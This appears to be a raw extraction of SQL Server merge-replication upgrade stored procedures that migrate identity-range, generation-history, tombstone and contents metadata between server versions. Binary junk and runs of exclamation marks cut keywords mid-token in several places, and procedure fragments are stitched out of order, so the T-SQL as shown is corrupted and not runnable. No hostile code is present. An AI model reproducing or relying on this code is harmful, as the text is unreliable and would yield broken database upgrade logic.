        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo 
             @rpcsrvname = @distributor OUTPUT,
             @distribdb = @distribdb   OUTPUT
        IF @@error <> 0 OR @retcode <> 0
            goto FAILURE

        IF @distribdb is null
        BEGIN
            RAISERROR (14071, 16, -1)
            goto FAILURE
        END
             
        SELECT @proc = RTRIM(@distributor) + '.' + RTRIM(@distribdb) + '.dbo.sp_MScheck_pub_identity'
        exec @retcode = @proc @publisher=@publisher, 
                            @publisher_db=@publisher_db,  
                            @tablename=@tablename,
                            @current_max=@current_max OUTPUT,
                            @pub_range=@pub_range OUTPUT,
                            @range = @sub_range OUTPUT,
                            @threshold=@threshold OUTPUT,
                            @next_seed = @next_seed OUTPUT,
                            @max_identity = @max_identity OUTPUT
        if @retcode<>0 or @@ERROR<>0
            goto FAILURE

        -- since in Yukon we use pub_range for allocating republisher range and sub_range for allocations to
        -- all subscriber as well as publisher's local allocation, if in shiloh the user set it up as pub_range
        -- less than sub_range and has republisher they would have a failure. Hence on upgrade in yukon we will set 
        -- pub_range to be atleast as big as the sub range. see bug 293602
        if @pub_range < @sub_range
        begin
            select @pub_range_orig = @pub_range
            select @pub_range = @sub_range
        end
        else
            select @pub_range_orig = @pub_range

        begin tran 
        save tran art_ident_update
        
        update dbo.sysmergearticles 
            set threshold = @threshold,
                pub_range = @pub_range,
                range = @sub_range
            where artid = @artid
        if @@ERROR<>0
            goto FAILURE_CLOSE_TRAN

        -- to find if this is a republisher find the root pubid. 
        select @root_pubid = pubid from dbo.sysmergearticles 
            where artid = @artid and pubid <> @pubid and (sys.fn_MSmerge_islocalpubid(pubid)=0)
        if @root_pubid is not NULL
        begin
            -- this is a republisher. find the subid of the subscription to the root publication 
            -- instead of the pubid of the republished publication
            select @subid = subid from dbo.sysmergesubscriptions 
                where pubid=@root_pubid and (sys.fn_MSmerge_islocalsubid(subid)=1)
            -- the following should never happen
            if @subid is NULL
                goto FAILURE_CLOSE_TRAN
        end
        else
        begin
            select @subid = @pubid
        end
                
        -- setup the initial publisher range in MSmerge_identity_range
        -- the following may already exist if this is a republisher and it merged with its publisher first
        -- before running the snapshot of its republished publication.
        if not exists (select 1 from dbo.MSmerge_identity_range 
                        where artid = @artid and is_pub_range = 1 and (sys.fn_MSmerge_islocalsubid(subid)=1))
        begin
            insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, is_pub_range, max_used)
                values(@subid, @artid, @current_max, @max_identity, 1, @next_seed)
            if @@ERROR<>0
                goto FAILURE_CLOSE_TRAN
        end

        -- setup the subscriber range. Record the ranges that was already allocated for the publisher's local
        -- use. Further ranges will be allocated when the snapshot runs or the merge with the root publisher runs
        if not exists (select 1 from dbo.MSmerge_identity_range 
                        where artid = @artid and is_pub_range = 0 and (sys.fn_MSmerge_islocalsubid(subid)=1))
        begin
            -- if this is the root publisher, in shiloh we always allocated two ranges for the publisher's local use
            -- hence get both the ranges and set them in the new tracking table
            -- if this is a republisher though we will have just one range to get from shiloh
            if @root_pubid is not NULL
            begin
                insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, is_pub_range, max_used)
                    values(@subid, @artid, @current_max-@pub_range_orig, @current_max, 0, NULL)
            end
            else
            begin
                insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, next_range_begin, next_range_end, is_pub_range, max_used)
                    values(@subid, @artid, (@current_max-@pub_range_orig)-@pub_range_orig, @current_max-@pub_range_orig, @current_max-@pub_range_orig, @current_max, 0, NULL)
            end
            if @@ERROR<>0
                goto FAILURE_CLOSE_TRAN
        end

        -- cleanup the shiloh entry for the identity range for this article
        if object_id('dbo.MSrepl_identity_range') is not NULL
            delete from dbo.MSrepl_identity_range where objid=@objid

        commit tran
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(|)XvWcreate procedure sys.sp_MSmerge_metadataupgrade
as
    declare @retcode integer
    declare @table_name sysname
    declare @default_nicknames    varbinary(255)
    declare @replnick   binary(6)
    begin tran
    save tran merge_metadata_upgrade

    -- MSmerge_genhistory
    SELECT @table_name = N'MSmerge_genhistory'
    IF object_id('MSmerge_genhistory') is not NULL
    BEGIN
        if not exists (select * from sys.columns where object_id = object_id('MSmerge_genhistory') and
                        name = 'changecount')
        begin
            alter table dbo.MSmerge_genhistory add changecount int NOT NULL default 0
            if @@error<>0 goto error
        end

        if exists (select * from sys.columns where name = 'guidlocal' and object_id = object_id('dbo.MSmerge_genhistory'))
        begin
            if not exists (select * from sys.columns where name = 'genstatus' and object_id = object_id('dbo.MSmerge_genhistory'))
            begin
                alter table dbo.MSmerge_genhistory add genstatus tinyint NOT NULL default 0
                if @@error<>0 goto error
            end

            exec('update dbo.MSmerge_genhistory set genstatus = 0 where guidlocal = ''00000000-0000-0000-0000-000000000000''')
            if @@error<>0 goto error

            exec('update dbo.MSmerge_genhistory set genstatus = 1 where guidlocal <> ''00000000-0000-0000-0000-000000000000'' and guidlocal = guidsrc')
            if @@error<>0 goto error

            exec('update dbo.MSmerge_genhistory set genstatus = 2 where guidlocal <> ''00000000-0000-0000-0000-000000000000'' and guidlocal <> guidsrc')
            if @@error<>0 goto error

            -- drop the index before dropping the column.
            if exists (select * from sys.indexes where name = 'nc2MSmerge_genhistory' and object_id = object_id('dbo.MSmerge_genhistory'))
            begin
                drop index dbo.MSmerge_genhistory.nc2MSmerge_genhistory
            end

            alter table dbo.MSmerge_genhistory drop column guidlocal
            if @@error<>0 goto error
        end

	if not exists (select * from sys.columns where object_id = object_id('MSmerge_genhistory') and 
				name = 'subscriber_number')
	begin
		alter table dbo.MSmerge_genhistory add subscriber_number int NOT NULL default 0
		if @@error<>0 goto error
	end
        -- nicknames is varbinary(1000) in Shiloh and before, varbinary(1001) in Yukon and after.
        -- in addition, the nicknames contained therein changed from 4 bytes to 6 bytes.
        if 1001 > col_length('MSmerge_genhistory', 'nicknames')
        begin
            begin tran
            save tran tran_genhistnicks80to90            
                alter table dbo.MSmerge_genhistory alter column nicknames varbinary(1001) not null
                if @@error<>0 goto err_genhistnicks80to90
                
                exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
                if @retcode<>0 or @@error<>0 
                    goto err_genhistnicks80to90
                -- add a guard byte
                set @default_nicknames= @replnick + 0xFF
                
                update dbo.MSmerge_genhistory set nicknames= ISNULL({fn REPLNICKARRAY_80_TO_90(nicknames)},@default_nicknames)
                if @@error<>0 goto err_genhistnicks80to90
            commit tran
            goto after_genhistnicks80to90

            err_genhistnicks80to90:
            rollback tran tran_genhistnicks80to90
            commit tran
            goto error
        end

        after_genhistnicks80to90:
 
        -- generation is int in Shiloh and before, bigint in Yukon and after
        -- drop the index on generation before changing it to bigint
        exec @retcode = sys.sp_MSmerge_dropindex @table_name = 'MSmerge_genhistory', @index_column_name = 'generation'
        if @@error <> 0 or @retcode <> 0
            goto error
            
        if 56 = (select system_type_id from sys.columns where 
                        object_id = object_id('MSmerge_genhistory') and name = 'generation')
        begin
            alter table dbo.MSmerge_genhistory alter column generation bigint not null
            if @@error<>0 goto error
        end
        
        if columnproperty(object_id('dbo.MSmerge_genhistory'), 'generation', 'IsIdentity') = 1
        begin
            -- an index has been added on genhistory(genstatus) 
            if not exists (select * from sysindexes where name = 'nc2MSmerge_genhistory')
            begin
                create  index nc2MSmerge_genhistory on MSmerge_genhistory(genstatus, art_nick,changecount) 
                if @@error<>0 goto error
            end
            -- Only create the index index if guidsrc values are unique. Before SP1 it was possible
            -- for this table to contain dup guidsrc. This happened when the genhistory table was empty to start 
            -- and we insert an initial row (for no article) and then try to insert a row for the first 
            -- article without generating a new guid.  
            IF EXISTS ( SELECT guidsrc, pubid 
                FROM dbo.MSmerge_genhistory 
                GROUP BY guidsrc, pubid 
                HAVING COUNT(*) > 1 )
                RAISERROR (21203, 10, 5, @table_name)
            ELSE
            begin
                IF EXISTS ( SELECT * FROM sys.indexes WHERE name = 'uc1MSmerge_genhistory' AND
                    object_id = OBJECT_ID('MSmerge_genhistory') )
                begin
                    drop index MSmerge_genhistory.uc1MSmerge_genhistory
                    if @@error<>0 goto error
                    -- used to be clustered in previous versions, now it's nonclustered, hence the name change
                    create unique index unc1MSmerge_genhistory on MSmerge_genhistory(guidsrc, pubid) 
                    if @@error<>0 goto error
                end
            end

            IF EXISTS ( SELECT * FROM sys.indexes WHERE name = 'nc3MSmerge_genhistory' AND
                            object_id = OBJECT_ID('MSmerge_genhistory') )
            begin
                DROP INDEX MSmerge_genhistory.nc3MSmerge_genhistory
                if @@error<>0 goto error
            end
            
            IF NOT EXISTS ( SELECT * FROM sys.indexes WHERE name = 'nc4MSmerge_genhistory' AND
                            object_id = OBJECT_ID('MSmerge_genhistory') )
            begin
                CREATE INDEX nc4MSmerge_genhistory ON MSmerge_genhistory(coldate)
                if @@error<>0 goto error
            end

            -- we will drop this index so that we can create a new clustered one as well
            -- as allow us to perform the alter column statement following this drop
            IF EXISTS ( SELECT * FROM sysindexes WHERE name = 'nc1MSmerge_genhistory' AND
                        id = OBJECT_ID('MSmerge_genhistory') )
            begin
                drop index MSmerge_genhistory.nc1MSmerge_genhistory
                if @@error<>0 goto error
            end
            
            if not exists (select * from sys.indexes where name = 'c1MSmerge_genhistory' and object_id = object_id('MSmerge_genhistory'))
            begin
                create clustered index c1MSmerge_genhistory on MSmerge_genhistory(generation) 
                if @@error<>0 goto error
            end
        end
        else
        begin
            exec @retcode = sys.sp_MSmakegenerationidentity
            if @@error<>0 or @retcode <> 0
                goto error
        end
	
    END

    SELECT @table_name = N'MSmerge_tombstone'
    IF object_id('MSmerge_tombstone') is not NULL
    BEGIN

        if exists (select * from sys.columns where name = 'reason' and object_id = object_id('MSmerge_tombstone'))
        begin
            alter table dbo.MSmerge_tombstone drop column reason
            if @@error<>0 goto er!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(})'vWror
        end

        -- lineage is varbinary(249) in Shiloh and before, varbinary(311) in Yukon and after
        -- in addition, the format has changed from 4 to 6 byte nicknames, and there are new mergenicks
        if 311 > col_length('MSmerge_tombstone', 'lineage')
        begin
            begin tran
            save tran tran_tomblin80to90
                alter table dbo.MSmerge_tombstone alter column lineage varbinary(311) not null
                if @@error<>0 goto err_tomblin80to90
                update dbo.MSmerge_tombstone set lineage= {fn LINEAGE_80_TO_90(lineage)}
                if @@error<>0 goto err_tomblin80to90
            commit tran
            goto after_tomblin80to90

            err_tomblin80to90:
            rollback tran tran_tomblin80to90
            commit tran
            goto error
        end
        
        after_tomblin80to90:
       
        -- generation is int in Shiloh and before, bigint in Yukon and after
        if 56 = (select system_type_id from sys.columns where 
                        object_id = object_id('MSmerge_tombstone') and name = 'generation')
        begin
            IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc2MSmerge_tombstone' AND object_id = OBJECT_ID('MSmerge_tombstone'))
                drop index MSmerge_tombstone.nc2MSmerge_tombstone
            if @@error<>0 goto error
            alter table dbo.MSmerge_tombstone alter column generation bigint not null
            if @@error<>0 goto error
            create index nc2MSmerge_tombstone on MSmerge_tombstone(generation)
            if @@error<>0 goto error
        end
        
        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'unc3MSmerge_tombstone' AND object_id = OBJECT_ID('MSmerge_tombstone'))
        begin
            drop index MSmerge_tombstone.unc3MSmerge_tombstone
            if @@error<>0 goto error
        end
            
        if not exists (select * from sys.columns where object_id = object_id('MSmerge_tombstone') and
                        name = 'logical_record_parent_rowguid')
        begin
            alter table dbo.MSmerge_tombstone add logical_record_parent_rowguid    uniqueidentifier    NULL
            if @@error<>0 goto error
        end

        if not exists (select * from sys.columns where object_id = object_id('MSmerge_tombstone') and
                        name = 'logical_record_lineage')
        begin
            alter table dbo.MSmerge_tombstone add logical_record_lineage    varbinary(311)    NULL
            if @@error<>0 goto error
        end        
    END

    SELECT @table_name = N'MSmerge_contents'
    IF object_id('MSmerge_contents') is not NULL
    BEGIN
        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc2MSmerge_contents' AND object_id = OBJECT_ID('MSmerge_contents'))
            drop index MSmerge_contents.nc2MSmerge_contents

        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc3MSmerge_contents' AND object_id = OBJECT_ID('MSmerge_contents'))
            drop index MSmerge_contents.nc3MSmerge_contents

        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc4MSmerge_contents' AND object_id = OBJECT_ID('MSmerge_contents'))
            drop index MSmerge_contents.nc4MSmerge_contents

        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc5MSmerge_contents' AND object_id = OBJECT_ID('MSmerge_contents'))
            drop index MSmerge_contents.nc5MSmerge_contents
        
        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc6MSmerge_contents' AND object_id = OBJECT_ID('MSmerge_contents'))
            drop index MSmerge_contents.nc6MSmerge_contents

        IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'unc3SycContents' AND object_id = OBJECT_ID('MSmerge_contents'))
            drop index MSmerge_contents.unc3SycContents

        --IF EXISTS (SELECT * FROM sysindexes WHERE name = 'uc1SycContents' AND id = OBJECT_ID('MSmerge_contents'))
        --  exec sys.sp_rename 'uc1SycContents', 'uc1MSmerge_contents', 'index'

        -- lineage is varbinary(249) in Shiloh and before, varbinary(311) in Yukon and after
        -- in addition, the format has changed from 4 to 6 byte nicknames, and there are new mergenicks
        if 311 > col_length('MSmerge_contents', 'lineage')
        begin
            begin tran
            save tran tran_contlin80to90
                alter table dbo.MSmerge_contents alter column lineage varbinary(311) not null
                if @@error<>0 goto err_contlin80to90
                update dbo.MSmerge_contents set lineage= {fn LINEAGE_80_TO_90(lineage)}
                if @@error<>0 goto err_contlin80to90
            commit tran
            goto after_contlin80to90

            err_contlin80to90:
            rollback tran tran_contlin80to90
            commit tran
            goto error
        end
        after_contlin80to90:
        
        -- colv is varbinary(2048) in Shiloh and before, varbinary(2953) in Yukon and after
        -- in addition, the format has changed from 4 to 6 byte nicknames, and colv is compressed
        -- 2953 is got from 12 bytes of metadata per column * max 246 columns + 1 trailing byte
        if 2953 > col_length('MSmerge_contents', 'colv1')
        begin
            begin tran
            save tran tran_colv80to90
                alter table dbo.MSmerge_contents alter column colv1 varbinary(2953) null
                if @@error<>0 goto err_colv80to90
                begin try
                    update dbo.MSmerge_contents set colv1= {fn COLV_80_TO_90(colv1)}
                end try
                begin catch
                    update dbo.MSmerge_contents set colv1= {fn COLV_80_TO_90(sys.fn_MSmerge_Fix80Colv(colv1))}
                end catch
                if @@error<>0 goto err_colv80to90
            commit tran
            goto after_colv80to90

            err_colv80to90:
            rollback tran tran_colv80to90
            commit tran
            goto error
        end
        
        after_colv80to90:
  
        -- generation is int in Shiloh and before, bigint in Yukon and after
        if 56 = (select system_type_id from sys.columns where 
                        object_id = object_id('MSmerge_contents') and name = 'generation')
        begin
            alter table dbo.MSmerge_contents alter column generation bigint not null
            if @@error<>0 goto error
        end
        
        -- partchangegen is int in Shiloh and before, bigint in Yukon and after
        if 56 = (select system_type_id from sys.columns where 
                        object_id = object_id('MSmerge_contents') and name = 'partchangegen')
        begin
            alter table dbo.MSmerge_contents alter column partchangegen bigint null
            if @@error<>0 goto error
        end

        if not exists (select * from sys.columns where object_id = object_id('MSmerge_contents') and
                        name = 'marker')
        begin
            alter table dbo.MSmerge_contents add marker    uniqueidentifier NULL
            if @@error<>0 goto error
        end
        
        if not exists (select * from sys.columns where object_id = object_id('MSmerge_contents') and
                        name = 'logical_record_parent_rowguid')
        begin
            alter table dbo.MSmerge_contents add logical_record_parent_rowguid    uniqueidentifier    NULL
            if @@error<>0 goto error
        end

        if not exists (select * from sys.columns where object_id = object_id('MSmerge_contents') and
                        name = 'logical_record_lineage')
        begin
            alter table dbo.MSmerge_contents add logical_record_lineage    varbinary(311)    NULL
            if @@error<>0 goto error
        end
        
        if exists (select * from sys.columns where name = 'joinchangegen' and object_id = object_id('MSmerge_contents'))
        begin
            e!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	~xZWxec('update dbo.MSmerge_contents 
                  set partchangegen = case when partchangegen is null
                                      then (case when joinchangegen=generation then (-generation) else joinchangegen end)
                                      else (case when partchangegen < joinchangegen then joinchangegen else partchangegen end)
                                      end')
            if @@error<>0 goto error
            
            alter table dbo.MSmerge_contents drop column joinchangegen
            if @@error<>0 goto error
        end

        create index nc2MSmerge_contents on MSmerge_contents(generation)
        if @@error<>0 goto error

        create index nc3MSmerge_contents on MSmerge_contents(partchangegen)
        if @@error<>0 goto error

		create index nc4MSmerge_contents on MSmerge_contents(rowguid)
        if @@error <> 0 goto error

        --create index nc6MSmerge_contents on MSmerge_contents(logical_record_parent_rowguid)
        --if @@error<>0 goto error
    END

        
    -- remove orphaned rows in MSmerge_contents
    if (
            object_id('sysmergearticles') is not NULL  and
            object_id('sysmergepublications') is not NULL  and
            object_id('MSmerge_genhistory') is not NULL  and
            object_id('MSmerge_contents') is not NULL  and
            object_id('MSmerge_tombstone') is not NULL 
        )
    begin
        exec @retcode= sp_MSpurgecontentsorphans
        if @retcode<>0 or @@error<>0 
            goto error
    end

    commit tran
    return 0

error:
    rollback tran merge_metadata_upgrade
    commit tran
    raiserror(21090, 16, -1)
    return 1
e)
                goto error
            end
            ELSE
                IF NOT EXISTS ( SELECT * FROM sysindexes WHERE name = 'nc1sysmergesubsetfilters' AND
                    id = OBJECT_ID('sysmergesubsetfilters') )
                begin
                    CREATE UNIQUE NONCLUSTERED INDEX nc1sysmergesubsetfilters ON dbo.sysmergesubsetfilters(join_filterid, pubid)
                    if @@ERROR <> 0 goto error
                end
                
            IF NOT EXISTS ( SELECT * FROM sysindexes WHERE name = 'uc2sysmergesubsetfilters' AND
                id = OBJECT_ID('sysmergesubsetfilters') )
            begin
                CREATE UNIQUE CLUSTERED INDEX uc2sysmergesubsetfilters ON dbo.sysmergesubsetfilters(pubid, filtername)
                if @@ERROR <> 0 goto error
            end
                
            if not exists (select * from sys.columns where object_id = object_id('sysmergesubsetfilters') and
                            name = 'filter_type')
            begin
                alter table dbo.sysmergesubsetfilters add filter_type tinyint NOT NULL default 1
                if @@ERROR <> 0 goto error
            end
        END -- end index updates from SQL7.0 SP1


        declare @binames table (biname sysname)
        insert into @binames select name from sys.objects where type='U' and is_ms_shipped=1 and name like 'MS_bi%'
        declare @biname sysname
        set @biname= (select top 1 biname from @binames)
        while @biname is not null
        begin
            set @cmd= 'drop index ' + quotename(@biname) + '.' + quotename(@biname + '_gen')
            exec sys.sp_executesql @cmd
            if @@ERROR <> 0 goto error
            set @cmd= 'create clustered index ' + quotename(@biname + '_gen') + ' on ' + quotename(@biname) + '(generation)'
            exec sys.sp_executesql @cmd
            if @@ERROR <> 0 goto error
            delete from @binames where biname=@biname
            set @biname= (select top 1 biname from @binames)
        end


        if object_id('sysmergearticles') is not NULL
        begin
            exec sys.sp_MScreate_common_dist_tables @subside=1
            if @@error <> 0
               goto error
        end
        
        -- in Yukon we will create the merge ddl triggers, only for databases that have merge replication enabled.
        if object_id('sysmergepublications', 'U') is NOT NULL
        begin
            if exists (select * from sys.triggers where name = 'MSmerge_tr_altertable' and type = 'TR')
            begin
                execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'
                if @@ERROR <> 0 or @retcode <> 0 
                    goto error
            end
            if not exists (select * from sys.triggers where name = 'MSmerge_tr_altertable' and type = 'TR')
            begin
                execute @retcode= sys.sp_MSrepl_ddl_triggers @type='merge', @mode='add'
                if @@ERROR <> 0 or @retcode <> 0 
                    goto error
            end
        end
        -- we will also add a system table MSmerge_upgrade_in_progress which would indicate that
        -- the metadata upgrade has not been completed yet.
        if @remove_repl=0 and object_id('sysmergearticles') is not NULL
        begin
            if object_id('MSmerge_upgrade_in_progress', 'U') is NULL
            begin
                create table dbo.MSmerge_upgrade_in_progress
                (
                    status tinyint not NULL
                )
                if @@ERROR <> 0 goto error
            end
        end
    end
    commit tran
    return 0
    
error:
    rollback tran vupgrade_mergetables
    commit tran
    return 1
    
end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+&vcreate procedure sys.sp_vupgrade_mergetables( @remove_repl bit = 0 )
as
begin

    set nocount on 

    declare @artnick int
    declare @objid  int
    declare @goodlen int
    declare @col_track int
    declare @article sysname
    declare @pubname sysname
    declare @artid uniqueidentifier
    declare @pubid uniqueidentifier
    declare @qualified_name nvarchar(257)
    declare @source_owner   sysname
    declare @source_object  sysname
    declare @table_name     sysname
    declare @cmd            nvarchar(1000)
    declare @default_name   nvarchar(258)
    declare @retcode    integer
    declare @snapshot_ready int
    declare @constraintname nvarchar(258)
    declare @dbname sysname
    
    declare @additive_resolver_clsid    nvarchar(60)
    declare @average_resolver_clsid     nvarchar(60)
    declare @download_resolver_clsid    nvarchar(60)
    declare @max_resolver_clsid         nvarchar(60)
    declare @mergetxt_resolver_clsid    nvarchar(60)
    declare @min_resolver_clsid         nvarchar(60)
    declare @subwins_resolver_clsid     nvarchar(60)
    declare @upload_resolver_clsid      nvarchar(60)
    declare @sp_resolver_clsid          nvarchar(60)

    declare @additive_resolver      nvarchar(80)
    declare @average_resolver       nvarchar(80)
    declare @download_resolver      nvarchar(80)
    declare @max_resolver           nvarchar(80)
    declare @mergetxt_resolver      nvarchar(80)
    declare @min_resolver           nvarchar(80)
    declare @subwins_resolver       nvarchar(80)
    declare @upload_resolver        nvarchar(80)
    declare @sp_resolver            nvarchar(80)
    declare @priority_resolver      nvarchar(80)
    declare @earlierwins_resolver   nvarchar(80)
    declare @laterwins_resolver     nvarchar(80)

    declare @column_name nvarchar(128)
    declare @column_type nvarchar(128)
    declare @alter_cmd nvarchar(max)

    DECLARE @cnt int, @idx  int    /* Loop counter, index */
    DECLARE @columnid smallint     /* Columnid-1 = bit to set */
    DECLARE @columns binary(128)   /* Temporary storage for the converted column */


    select @additive_resolver_clsid = '{8FE7FF34-7C5D-4BE7-8056-ADB6D6F692DC}'
    select @average_resolver_clsid  = '{376F678E-4691-43E8-8AE7-DAD8CAA644EF}'
    select @download_resolver_clsid = '{3BB9F418-3407-4F5B-8DB3-9E9147C3A710}'
    select @max_resolver_clsid      = '{7365BF95-62E8-4B72-A0F7-E238FE413DB7}'
    select @mergetxt_resolver_clsid = '{9DCD5250-86BB-433D-8C1F-561460105CF0}'
    select @min_resolver_clsid      = '{93277AB4-C338-48B8-9A4A-CA5A32587AB7}'
    select @subwins_resolver_clsid  = '{77E52C5E-0016-4EDF-9391-8C07BFB668CE}'
    select @upload_resolver_clsid   = '{3D43EBE7-063C-4447-91E7-DE7A264C8441}'
    select @sp_resolver_clsid       = '{3BB074FA-0836-4A63-BE0C-AF49DDD42A1C}'

    select @additive_resolver       = 'Microsoft SQL Server Additive Conflict Resolver'
    select @average_resolver        = 'Microsoft SQL Server Averaging Conflict Resolver'
    select @download_resolver       = 'Microsoft SQL Server Download Only Conflict Resolver'
    select @max_resolver            = 'Microsoft SQL Server Maximum Conflict Resolver'
    select @mergetxt_resolver       = 'Microsoft SQL Server Merge Text Columns Conflict Resolver'
    select @min_resolver            = 'Microsoft SQL Server Minimum Conflict Resolver'
    select @subwins_resolver        = 'Microsoft SQL Server Subscriber Always Wins Conflict Resolver'
    select @upload_resolver         = 'Microsoft SQL Server Upload Only Conflict Resolver'
    select @sp_resolver             = 'Microsoft SQLServer Stored Procedure Resolver'
    select @priority_resolver       = 'Microsoft SQL Server Priority Column Resolver'
    select @earlierwins_resolver    = 'Microsoft SQL Server DATETIME (Earlier Wins) Conflict Resolver'
    select @laterwins_resolver      = 'Microsoft SQL Server DATETIME (Later Wins) Conflict Resolver'

    select @dbname = db_name()
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if (@retcode <> 0 or @@error <> 0)
        return 1

    
    if object_id('sysmergearticles') is not NULL
    begin
    -- Update to 110 resolver clsids
        update dbo.sysmergearticles set resolver_clsid =
            case article_resolver
                when @additive_resolver     then @additive_resolver_clsid
                when @average_resolver      then @average_resolver_clsid
                when @download_resolver     then @download_resolver_clsid
                when @max_resolver          then @max_resolver_clsid
                when @mergetxt_resolver     then @mergetxt_resolver_clsid
                when @min_resolver          then @min_resolver_clsid
                when @subwins_resolver      then @subwins_resolver_clsid
                when @upload_resolver       then @upload_resolver_clsid
                when @sp_resolver           then @sp_resolver_clsid
                when @priority_resolver     then @max_resolver_clsid
                when @earlierwins_resolver  then @min_resolver_clsid
                when @laterwins_resolver    then @max_resolver_clsid
                else resolver_clsid
            end
    end

    -- Check if upgrade is needed. If the database is 90 then dispatch to sp_MSmerge_upgrade_from_90rtm
    if object_id('sysmergepublications') is not NULL
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'use_partition_groups')
        begin
            exec @retcode = sys.sp_MSmerge_upgrade_from_90rtm  
            return @retcode 
        end
    end

    begin tran
    save tran vupgrade_mergetables
    
    /*
     * dbo.sysmergepublications
    */
    if object_id('sysmergepublications') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'backward_comp_level')
        begin
            alter table dbo.sysmergepublications add backward_comp_level int not NULL default 10 -- defaulted to 70 RTM
            if @@error<>0 goto error
        end
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = N'allow_partition_realignment' and is_nullable = 0)
        	alter table dbo.sysmergepublications alter column allow_partition_realignment bit null
        
    end

    if @remove_repl=0 and object_id('sysmergepublications') is not NULL
    begin
        /*
         * No direct select on sysmergepublications for public
        */
        -- default_access default no longer used 
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and
            name = 'default_access')
        begin
            -- Get the name of the default associated with default_access and drop it
            select @default_name = QUOTENAME(object_name(constid)) 
                from sysconstraints    
                where id = object_id('dbo.sysmergepublications') 
                    and col_name(id, colid) = N'default_access'
            if @default_name is not null
            begin
                -- Drop the default
                exec (N'alter table dbo.sysmergepublications drop constraint ' + @default_name) 
                if @@error<>0 goto error
            end    

            alter table dbo.sysmergepublications drop column default_access
            if @@error<>0 goto error
        end 

        /* 
         * Since the ftp_address is now required to enable a publication for internet, publications 
         * that were enabled for internet can not be upgraded automatically. So the enabled for 
         * internet option is reset in the upgrade process. New FTP columns added later in script. (Shiloh)
        */
        if exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(dvnd 
           name = 'enabled_for_internet')
        begin
            if not exists (select * from sys.columns where object_id = object_id('dbo.sysmergepublications') and name = 'ftp_address')
            begin
                exec(N'update dbo.sysmergepublications set enabled_for_internet = 0')
            end
            else
            begin
                exec(N'update dbo.sysmergepublications set enabled_for_internet = 0 where ftp_address is null')
            end
            if @@error<>0 goto error
        end

        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'snapshot_in_defaultfolder', col_type = 'bit default 0 not null'-- Portable snapshot (Shiloh)
                                                             union all
                                                             select col_name = 'alt_snapshot_folder', col_type = 'nvarchar(255) null'
                                                             union all
                                                             select col_name = 'pre_snapshot_script', col_type = 'nvarchar(255) null'-- Snapshot pre/post scripts (Shiloh)
                                                             union all
                                                             select col_name = 'post_snapshot_script', col_type = 'nvarchar(255) null'
                                                             union all
                                                             select col_name = 'compress_snapshot', col_type = 'bit default 0 not null'-- Snapshot compression (Shiloh)
                                                             union all
                                                             select col_name = 'ftp_address', col_type = 'sysname null'-- Ftp support at publication level (Shiloh)
                                                             union all
